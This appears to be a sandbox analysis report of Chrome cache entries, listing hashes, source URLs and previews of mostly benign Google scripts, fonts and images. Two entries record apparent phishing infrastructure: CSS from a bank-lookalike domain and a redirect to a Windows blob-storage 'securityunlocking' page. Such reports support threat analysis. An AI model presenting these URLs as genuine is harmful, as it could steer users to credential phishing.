Chrome Cache Entry: 161

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1224)
Category:	dropped
Size (bytes):	16972
Entropy (8bit):	5.610632369043462
Encrypted:	false
SSDEEP:	384:rAvPH9on/L0Z7LCoK/k8NMxIU8sK+1a+1cS2bs8bVvHi:M39SAooK/O/K+cbRbVvHi
MD5:	56DB2B9B38F212881110E036BBF43E85
SHA1:	4A1AB3DEB689B65F0591AE57531445078538715C
SHA-256:	05A7BA93EAE423C94AE992161734469FDD7A2E77D975FD870B7D2F505C86D71D
SHA-512:	26723ED1D8335C922DC95ED5F7543E6653FD487BDE6428C04463A1ECC35F5771D14714621DA4DCD3B73C8229423958F3871EB24C3F9AAB81DDBDCAD06142EBA5
Malicious:	false
Reputation:	low
Preview:	try{.C("IiC5yd");./*.. Copyright 2020 Google Inc... Permission is hereby granted, free of charge, to any person obtaining a copy. of this software and associated documentation files (the "Software"), to deal. in the Software without restriction, including without limitation the rights. to use, copy, modify, merge, publish, distribute, sublicense, and/or sell. copies of the Software, and to permit persons to whom the Software is. furnished to do so, subject to the following conditions:.. The above copyright notice and this permission notice shall be included in. all copies or substantial portions of the Software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR. IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,. FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE. AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER. LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.

Chrome Cache Entry: 162

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:	384:ctE5KIuhGO+DSdXwye6i9Xm81v4vMHCbppV0pr3Ll9/w:cqrVO++tw/9CICFbQLlxw
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 163

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	259
Entropy (8bit):	6.7268503778685105
Encrypted:	false
SSDEEP:	6:6v/lhPeoMMphEt0Sa2AKhmC4cR5HIQoplQfQjy30up:6v/7bn2AKhmMjHv2lQfQjw0c
MD5:	AF848AEE503A57E479B0FB57318F3F2F
SHA1:	68FE7097531D492691C6FA3454C8192D13E8572F
SHA-256:	33DD0582F6972DDDB05BEE6FD5EA0312FBD782A8003F4C7876AFEBD0F08F49AD
SHA-512:	1225614BBD2BD8DCF57B31759093EC92096A16AB428DE43606A8F71367BF247B9ADFE1F2C18E5F7156A216CBC4B35CF5070A39E4740FBDE1BAE5709D43734619
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................a....IDATx.cx.l......+g.....N... ...=....D.\|Y8.......]Z...E.p....`5.....}.lD5..3.....?.......?..8..D......H.....n..(?..r.....L3....\|.....cm...@j@..j.8..\|T/ ....4...^..P>PC:<.>#......CBz.d..".^8.....h......V...Q......IEND.B`.

Chrome Cache Entry: 164

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	382
Entropy (8bit):	5.356142333755371
Encrypted:	false
SSDEEP:	6:hxuJLzLMb038Gt3xk7fVBeQDXY2F6YkAbvOm/esHeOt3LV4Nhdx434QL:hYA0t3y79hLFBkAb2m/esHf3p4Nbx4IA
MD5:	1A9CCE19A613C43A87D9656454E066B7
SHA1:	0A98155BEA7319D1E9D25D6AFF4A57443B1984BF
SHA-256:	5B37C57C0BFE65229938F06CEEAB827B9D8F1CF2CD43A663A79623B9FA639700
SHA-512:	38798A75186843D18BC67539FE38CF436F6DBB6765320D630480460A2EC464F2D1FE59C3A428DC309A02E4CCFB7F135C6DE809F22E0587CE64A2B822BCE06476
Malicious:	false
Reputation:	low
URL:	https://content.googleapis.com/static/proxy.html?usegapi=1&jsh=m%3B%2F_%2Fscs%2Fabc-static%2F_%2Fjs%2Fk%3Dgapi.gapi.en.ZpMpph_5a4M.O%2Fd%3D1%2Frs%3DAHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ%2Fm%3D__features__
Preview:	<!DOCTYPE html>.<html>.<head>.<title></title>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />.<script nonce="CoBzxOp7z-ZJHEHn-3KKYg">. window['startup'] = function() {. googleapis.server.init();. };.</script>.<script src="https://apis.google.com/js/googleapis.proxy.js?onload=startup" async defer nonce="CoBzxOp7z-ZJHEHn-3KKYg"></script>.</head>.<body>.</body>.</html>.

Chrome Cache Entry: 165

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	121112
Entropy (8bit):	5.837130305275228
Encrypted:	false
SSDEEP:	3072:kyW/Za21hsq1xCLqrQcS8xriAX7E1fbaRrcjSbPxtKDY/Ji/JPvhv:kyWhvHCLqEcS8xOAX7E1f2BPM
MD5:	EAAA71ED8F32B85F24FD3EBC43535BCC
SHA1:	CFFB0A1096D61DC0BA476D19381806BEC8264EF4
SHA-256:	AF2F1227E6BE9926C8A5E9FC5FCE394C150E19412248A3C8F9BC65076E3AECBB
SHA-512:	F178343DFD51C11A326D2322830436188122A3F56BF964C8075291F0D41489048735A356A605579F28B7DA67FFFDB87C2D390D82CE8AB61A54A907AD02CE49C2
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/docs/common/viewer/v3/v-sprite60.svg
Preview:	<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0" y="0" width="31px" height="4060px" viewBox="0 0 31 4060" preserveAspectRatio="none"><g transform="translate(0,2170)"><path d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,2428)"><path fill="#C4C7C5" d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,3396)"><path d="M17.705 10.1401L14.3 4H9.70001L3.60001 15L5.70001 19H13.8027C14.2671 19.8028 14.9121 20.488 15.6822 21H5.70001C5.00001 21 4.30001 20.6 3.90001 19.9L1.80001 15.9C1.50001 15.3 1.50001 14.6 1.80001 14L8.00001 3C8.30001 2.4 9.00001 2 9.70001 2H14.3C15 2 15.7 2.4 16.1 3L20.0307 10.0882C19.6959 10

Chrome Cache Entry: 166

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	5284
Entropy (8bit):	5.128906275087753
Encrypted:	false
SSDEEP:	96:TgNHpjgkviN3+BE3gHWA+0ztCUEr5Go+64hvmssgipiQiiiGtlnC8otq3Ss4tJE4:8ZaNOB0g2Az5CYKZXblnC8mq3SsWJEfw
MD5:	F98F0A3217CB51E844987AAAD6852598
SHA1:	38191471165A4AA97D48D05B36E98C5C56C9388E
SHA-256:	3788ABCA9F3191C8AFBDA781E7B2FE6372FFD426460484E9775A78CC8DA8B164
SHA-512:	29AE65D7B962E5F8A4342C5D65705B8E0E27FD8FFD8D53D0F843E034B441962D3F95A044A3674EF8F67600284BE7CF165F3A145EFD30AFB119D688C64401844B
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/css/loader.css
Preview:	.....loader {.. position: fixed;.. top: 44%;.. right: 0;.. bottom: 0;.. left: 0;.. z-index: 9999;.. margin: 0;.. text-align: center;.. color: #59405a;.. font-size: 16px;..}.....loader span{...position: relative;...top: -40px;...left: 55px;..}.....loader:before {.. content: "";.. display: block;.. margin: 0 auto 11px;.. text-align: center;.. width: 33px;.. height: 33px;.. border-left: 2px solid #000;.. border-left: 2px solid rgba(204,204,204,1);.. border-right: 2px solid #000;.. border-right: 2px solid rgba(204,204,204,1);.. border-bottom: 2px solid #000;.. border-bottom: 2px solid rgba(204,204,204,1);.. border-top: 2px solid #0092ff;.. border-radius: 51px;.. -webkit-animation: myrotate .75s infinite linear;.. -moz-animation: myrotate .75s infinite linear;.. -o-animation: myrotate .75s infinite linear;.. animation: myrotate .75s infinite linear;.. -webkit-box-sizing: unset;.. -moz-box-sizing: unset;.. box-sizing: unset;..}.....loader:after {.. content: ''

Chrome Cache Entry: 167

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	481
Entropy (8bit):	5.247965667787344
Encrypted:	false
SSDEEP:	6:wBzkrQWR0iYBtqW3kUWPq2JlKIOxQgjw++92gk7uRlQgjw++2Hp71QrizYxQgjwx:4krY1trWPqf9Tjk9dlTjk2TQrpxTjkh
MD5:	203EF763939412AEFD6DE4C989795CB1
SHA1:	26E440F2DBF766C4ECFB0E6A5E95E881F05027B9
SHA-256:	B8349EF0693EB1C882DD21F80C0853992F48BBBA6A8B96CA3DB461596BEAE570
SHA-512:	9A2CF96B8E3B85798DE3C167D0CF5267554B2D56FEFD60C3F9088DAB596D7BDE7508B42BC744A95D4A2AD055F4C2EB2614E8619487CCEF5C856C932E50BCC4A7
Malicious:	false
Reputation:	low
URL:	https://www.google.com/url?q=https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2&sa=D&source=apps-viewer-frontend&ust=1734740205635330&usg=AOvVaw2_wNFQ9Pr6fAuY3NIrdBAp&hl=en
Preview:	<HTML><HEAD>.<meta http-equiv="content-type" content="text/html;charset=utf-8">.<TITLE>Redirecting</TITLE>.<META HTTP-EQUIV="refresh" content="1; url=https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2">.</HEAD>.<BODY onLoad="location.replace('https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2'+document.location.hash)">.Redirecting you to https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2</BODY></HTML>..

Chrome Cache Entry: 168

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1395)
Category:	downloaded
Size (bytes):	117446
Entropy (8bit):	5.490775275046353
Encrypted:	false
SSDEEP:	3072:T2yvefrtJUEgK3Cvw3wWs/ZuTZVL/G1kL:T2y4tJbDK0L/G1kL
MD5:	942EA4F96889BAE7D3C59C0724AB2208
SHA1:	033DDF473319500621D8EBB6961C4278E27222A7
SHA-256:	F59F7F32422E311462A6A6307D90CA75FE87FA11E6D481534A6F28BFCCF63B03
SHA-512:	C3F27662D08AA00ECBC910C39F6429C2F4CBC7CB5FC9083F63390047BACAF8CD7A83C3D6BBE7718F699DAE2ADA486F9E0CAED59BC3043491EECD9734EC32D92F
Malicious:	false
Reputation:	low
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);.var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);ma=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)return a;var b

Chrome Cache Entry: 169

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2258)
Category:	dropped
Size (bytes):	103720
Entropy (8bit):	5.679847648017333
Encrypted:	false
SSDEEP:	1536:a38X0GC10GQWUl5wj77Z9HUvcIXC8HU2jB1otsJoIgTkoP:a7GoY07Z9HUvcIXC8HU2j/rijTkoP
MD5:	27B39AE6F6E1418FF0E4B48CB096B2FF
SHA1:	EBD921C776A34D3615C996FE006F949F34FE3103
SHA-256:	E7757404FFE1683F4E24A99074572EF636DB79BA94178E2DE41B7F67AA9DD37D
SHA-512:	BBFD400729319E5D11C34CE50061603F6984D38CAD79725F1D1D7ADFF91AC317CA56DD733F6FCA908DAD7C2C8695C196EC5FBCEE42FA8328D5A86EDFA30D1BCE
Malicious:	false
Reputation:	low
Preview:	try{.var Lle=function(){QL.apply(this,arguments)};P(Lle,QL);Lle.prototype.enqueue=function(a,b){this.insert(a,b)};var Mle=function(a,b){a%=b;return a*b<0?a+b:a},Nle=function(a){return 1-Math.pow(1-a,3)};.}catch(e){_DumpException(e)}.try{.var sNc=function(){return faa&&ha?!ha.mobile&&(ja("iPad")\|\|ja("Android")\|\|ja("Silk")):ja("iPad")\|\|ja("Android")&&!ja("Mobile")\|\|ja("Silk")},pQ=function(){return!(faa&&ha?ha.mobile:!sNc()&&(ja("iPod")\|\|ja("iPhone")\|\|ja("Android")\|\|ja("IEMobile")))&&!sNc()};.}catch(e){_DumpException(e)}.try{.var i3e=function(a,b){this.C=a instanceof Lv?a:new Lv(a,b)};Ck(i3e,fBb);i3e.prototype.Md=function(a,b,c,d){var e=Vf(a);var f=e.body;e=e.documentElement;e=new Lv(f.scrollLeft\|\|e.scrollLeft,f.scrollTop\|\|e.scrollTop);f=this.C.x+e.x;e=this.C.y+e.y;var g=gBb(a);f-=g.x;e-=g.y;bH(new Lv(f,e),a,b,c,null,null,d)};var j3e=function(a,b){i3e.call(this,a,b)};Ck(j3e,i3e);j3e.prototype.F=0;j3e.prototype.D=function(a){this.F=a};.j3e.prototype.Md=function(a,b,c,d){var e=Vx(cWa(a)),f=

Chrome Cache Entry: 170

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 4 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	32038
Entropy (8bit):	2.618648465767992
Encrypted:	false
SSDEEP:	384:6RBHHHHXHHHHdX9ZstMIQ591vvvvvvvv:6RBHHHHXHHHHdX9+z
MD5:	5744986EB3DC6F2DA92157A651889902
SHA1:	5A558B58498FAB2AEB742ACDAB51E0C2FBC78385
SHA-256:	625816F80596303E9DE8E68695973369FAA462B416202825B03899C781464FB9
SHA-512:	CFA4C0179C3B5821F2BAF864A01E2C601653E93823C925FA9A265914768D88CA03BF4B752DE7D6BD48DE12B60069A3DEF1D1F4DE3F230975E459F56B440EFD6E
Malicious:	false
Reputation:	low
Preview:	............ .h...F... .... .........00.... ..%..V...@@.... .(B...:..(....... ..... .....@........................................\.5.\.?.\.?.\.?.\.).........................................\.k.\...\...\...\...\..\.5.\.3.............................\.W.\...\...\...\...\...\..\.G.\..\.C.....................\.C.\...\...\...\...\...\...\..\.G.\...\...\.W.............\.3.\..\...\...\...\...\...\...\..\.G.\...\...\...\.k.........\.3.\.G.\.G.\.G.\.G.\.G.\.G.\.G.\.;.\.G.\...\...\...\...\.7.\.).\..\..\..\..\.;.................\.G.\...\...\...\...\.?.\.?.\...\...\...\...\.G.................\.G.\...\...\...\...\.?.\.?.\...\...\...\...\.G.................\.G.\...\...\...\...\.?.\.?.\...\...\...\...\.G.................\.;.\..\..\..\..\.).\.7.\...\...\...\...\.G.\.;.\.G.\.G.\.G.\.G.\.G.\.G.\.G.\.3.........\.k.\...\...\...\.G.\..\...\...\...\...\...\...\..\.1.............\.W.\...\...\.G.\..\...\...\...\...\...\...\.A.....................\.C.\..\.G.\..\...\...\...\...\...\.U......

Chrome Cache Entry: 171

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	697
Entropy (8bit):	4.7196032286809055
Encrypted:	false
SSDEEP:	12:uZC4v1CYZOgX8XP9GTBdA37dpXaGdcNF/8COgX8bPmsTgZC43qLK:uZC4vgYZLPQ5GNF/8CXLC4a+
MD5:	E78830CBBF787C27E653CA7570C5DE03
SHA1:	9A56B16E7788CE8FDBF53DDF0D21BCB5DD965A76
SHA-256:	CA9796213C6FEC8A1E95114E4B4C3329740A1CA91F74E9D1A1B7BE919CAB762E
SHA-512:	281A37E40BB0B2991BECDDEEF0DF339682BE0BDC676F0A4CC94623BCA3EAE2CBF42940CD04F7A0E537136947FD6A45A3AFB031B8C26042ECD23289460CE7E3E6
Malicious:	false
Reputation:	low
Preview:	{. "error": {. "code": 403,. "message": "Requests from referer \u003cempty\u003e are blocked.",. "status": "PERMISSION_DENIED",. "details": [. {. "@type": "type.googleapis.com/google.rpc.ErrorInfo",. "reason": "API_KEY_HTTP_REFERRER_BLOCKED",. "domain": "googleapis.com",. "metadata": {. "service": "blobcomments-pa.googleapis.com",. "consumer": "projects/298134251447",. "httpReferrer": "\u003cempty\u003e". }. },. {. "@type": "type.googleapis.com/google.rpc.LocalizedMessage",. "locale": "en-US",. "message": "Requests from referer \u003cempty\u003e are blocked.". }. ]. }.}.

Chrome Cache Entry: 172

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (545)
Category:	dropped
Size (bytes):	2284506
Entropy (8bit):	5.656707821328836
Encrypted:	false
SSDEEP:	24576:oYkFyC9qpO1CrZsYqMScg7AZYszWOqdf+:oYuyCT1CrKYqMSclZYsKdm
MD5:	9E0542C55A1732A45A424885BE756154
SHA1:	D76FDC120E7EB6778298DFB666906C956B4F13E0
SHA-256:	3AD57C0FF005359BA10CF6129D9FA94BEA9E57A8CD9E04E07C13FC747111FAC8
SHA-512:	A146D8A3E3DF654112D0BFD2A2DFDE5D5ABDC279D24B3D8ED70DE6B9EB7D772D79C9A91C2DC559133B613815AD8903DD7546B0B2F17243D20DE8C2A1EA52412B
Malicious:	false
Reputation:	low
Preview:	try{.var _F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};_F_toggles_initialize([0x1830, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././... Copyright (c) 2015-2018 Google, Inc., Netflix, Inc., Microsoft Corp. and contributors. Licensed under the Apache License, Version 2.0 (the "License");. you may not use this file except in compliance with the License.. You may obtain a copy of the License at. http://www.apache.org/licenses/LICENSE-2.0. Unless required by applicable law or agreed to in writing, software. distributed under the License is distributed on an "AS IS" BASIS,. WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. See the License for the specific language governing permissions and. limitations under the License.././. SPDX-License-Identifier: Apache-2.0././*.

Chrome Cache Entry: 173

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.47887345911425
Encrypted:	false
SSDEEP:	3:pPX38/ZoSISHN87lSNDr1d:pPn8/ZoSfN87lSBBd
MD5:	844E7AD848816441E2F3D9E9D6E63047
SHA1:	D30409FA96F74212C26ABAEB5DE8D2857246EBA8
SHA-256:	963371AAD7DF37F73FC1DE7742D11DF335B339721B2C3308DA44188594F27F4B
SHA-512:	33C66E4109D085D6481F33744520A461FA8819852975A23EF7297B772D9AFB506A855FC738935DAD8FD1D6CBAD2F0BFEE88183AEA3A87F5276E34DCE41FEC9DB
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISJQm4AQ_njqwvuhIFDZFhlU4SBQ0G7bv_EgUNkWGVThIFDQbtu_8=?alt=proto
Preview:	CjAKBw2RYZVOGgAKBw0G7bv/GgAKDQ2RYZVOGgQIVhgCIAEKDQ0G7bv/GgQIVhgCIAE=

Chrome Cache Entry: 174

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (604)
Category:	dropped
Size (bytes):	14566
Entropy (8bit):	5.70914661559882
Encrypted:	false
SSDEEP:	384:G3mOiXBu8gbEDBbJvhFUJOpwBznlkjqws/:rOiXBfkAvhmcpwBlkjW/
MD5:	FEC2026A018A7F138042B9FDB25A5E63
SHA1:	1F2F4F6F399A900000FB5B345D82E631D3159685
SHA-256:	273375229A390C6928B7035712B452DCA81851533593629167F7996E01811986
SHA-512:	81D1EB4F11CF792DC00DBA2D4F2FC739959D1223133F0F25CB7402AD4AC012FBE918430F0EE755BBC968411864417232CAF3A50BA3101E1555C71FD6AD3C14DC
Malicious:	false
Reputation:	low
Preview:	try{.var TQ=Symbol();.}catch(e){_DumpException(e)}.try{.C("LBaJxb");.var TTc=function(a){a=a.rect;return Math.floor(Math.max(a.height,a.width).2)},UTc={pseudoElement:"::after",duration:450,fill:"forwards",easing:"cubic-bezier(0.2, 0, 0, 1)"};var YQ=function(a){vP.call(this,a.Pa);this.Yg=!1;this[TQ]=!0};P(YQ,vP);YQ.sa=vP.sa;.YQ.prototype.yd=function(a){if(!this.Yg&&(a instanceof KeyboardEvent?a.key==="Enter"\|\|a.key===" ":1)){this.Yg=!0;var b;(b=this.animation)==null\|\|b.cancel();clearTimeout(this.timeout);this.aa().ub("RBHQF-ksKsZd-OWXEXe-QDgCrf");var c=this.aa().el().getBoundingClientRect();b=TTc({rect:c});var d=a instanceof MouseEvent?{x:a.clientX-c.left,y:a.clientY-c.top}:{x:c.width/2,y:c.height/2};d={x:d.x-b/2,y:d.y-b/2};a={x:(c.width-b)/2,y:(c.height-b)/2};b=d;d={rect:c};var e=d.rect;c=e.width;e=e.height;d=TTc(d);.c=""+(Math.sqrt(Math.pow(c,2)+Math.pow(e,2))+10+Math.max(.35Math.max(e,c),75))/d;d+="px";a={top:[0,0],left:[0,0],height:[d,d],width:[d,d],transform:["translate("+b.x+"px

Chrome Cache Entry: 175

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	3056758
Entropy (8bit):	5.639345706184629
Encrypted:	false
SSDEEP:	24576:ECeBZ7KPOoNdMiKjTNbCvH9t+DgCb3XjuZSHfy:kBZ7KPOoNWi+oH9t+DgCb3XCg6
MD5:	96C559D06808C24580321B3CB8D53BBF
SHA1:	1B364E92AF60607E1B4205ED270D38929D2EAAFC
SHA-256:	6F9AC1ED6E7BB0732DCDA2D2DB918AE358E8BA22C1CB7AF6ED6903D51824DDB5
SHA-512:	B8B9941C54B886CA2CE88B6814407E0B56B6655A7DA7FA8A737397C27CB32DEC4E65B38158AA582B25A2C4EDB6EF87A6DCA43C5C0E53FA08F52205D3974CBB3D
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/_/apps-fileview/_/ss/k=apps-fileview.v.ovqSItYnX0g.L.W.O/am=MBg/d=0/rs=AO0039tz5VrQ5sjGTSjn86HXfczh2ZNxIg
Preview:	.Fng7d{width:100%;border-radius:50%}.TW497b{height:56px}.TW497b.znIWoc{border-bottom:1px solid var(--gm3-sys-color-outline-variant,#c4c7c5)}.mVuend{height:72px}.mVuend.znIWoc{border-bottom:1px solid var(--gm3-sys-color-outline-variant,#c4c7c5)}.mVuend .W7g1Rb-rymPhb-Gtdoyb{gap:8px}.OiePBf-zPjgPe{display:var(--gm3-focus-ring-outward-display,none);pointer-events:none;position:absolute;z-index:1;border-start-start-radius:calc(var(--gm3-focus-ring-outward-target-shape-start-start, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-start-end-radius:calc(var(--gm3-focus-ring-outward-target-shape-start-end, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-end-end-radius:calc(var(--gm3-focus-ring-outward-target-shape-end-end, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-end-start-radius:calc(var(--gm3-focus-ring-outward-target-shape-end-start, 0px) + var(--gm3-focus-ring-outward-offset, 2px));inset:calc(var(--gm3-focus-ring-outward-offset, 2px)*-1);box-shadow:0 0 0 va

Chrome Cache Entry: 176

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HKmn:qmn
MD5:	EC331136E75314D2030EE013B6069921
SHA1:	6B7428B8B15616A67F767D42964AF94FCBE2A803
SHA-256:	A7358DF6B7B60280F2A0D7CD5B70A9F1DFA4FCE5C31FB1A24FB2F109AF7EE977
SHA-512:	30C9B411C937F7D3DE9E59D8BE1CDE4F262B05C6AC2EC2D2C1956E705FE255D84DE17913826A0378B7FD4E51E075EE72A6BF16B870BF78B83D4F1D4507A44278
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmlNHcUu78_khIFDQbtu_8=?alt=proto
Preview:	CgkKBw0G7bv/GgA=

Chrome Cache Entry: 177

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4434)
Category:	downloaded
Size (bytes):	74412
Entropy (8bit):	5.584975491478061
Encrypted:	false
SSDEEP:	1536:ON+4tY0S2yvGnf4vA6s/RXHUJGokpuv+S9cOTm7IWOByK:T2yvefHfotP9ti7IyK
MD5:	604305B4C6768309AFD161FB4765ED1D
SHA1:	8BA0E9078CDD729A55C99B8C81EFB10C77B0C7A4
SHA-256:	10F2C1A783A6BCA723B2E7F96579FDED43E7CF14A032CC593E67AFCE3AE458FA
SHA-512:	9F8A6218A096397C5E379C6A31A580FD598E59EA291A283BC64AD4C2B83B60D0CEE74643DB0279AFBBC77C8FB8EEB7E9DFDBA6A02DA344806FA6AAA21FFFD3DD
Malicious:	false
Reputation:	low
URL:	https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=googleapis_proxy/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_0?le=scs
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);.var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);ma=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break 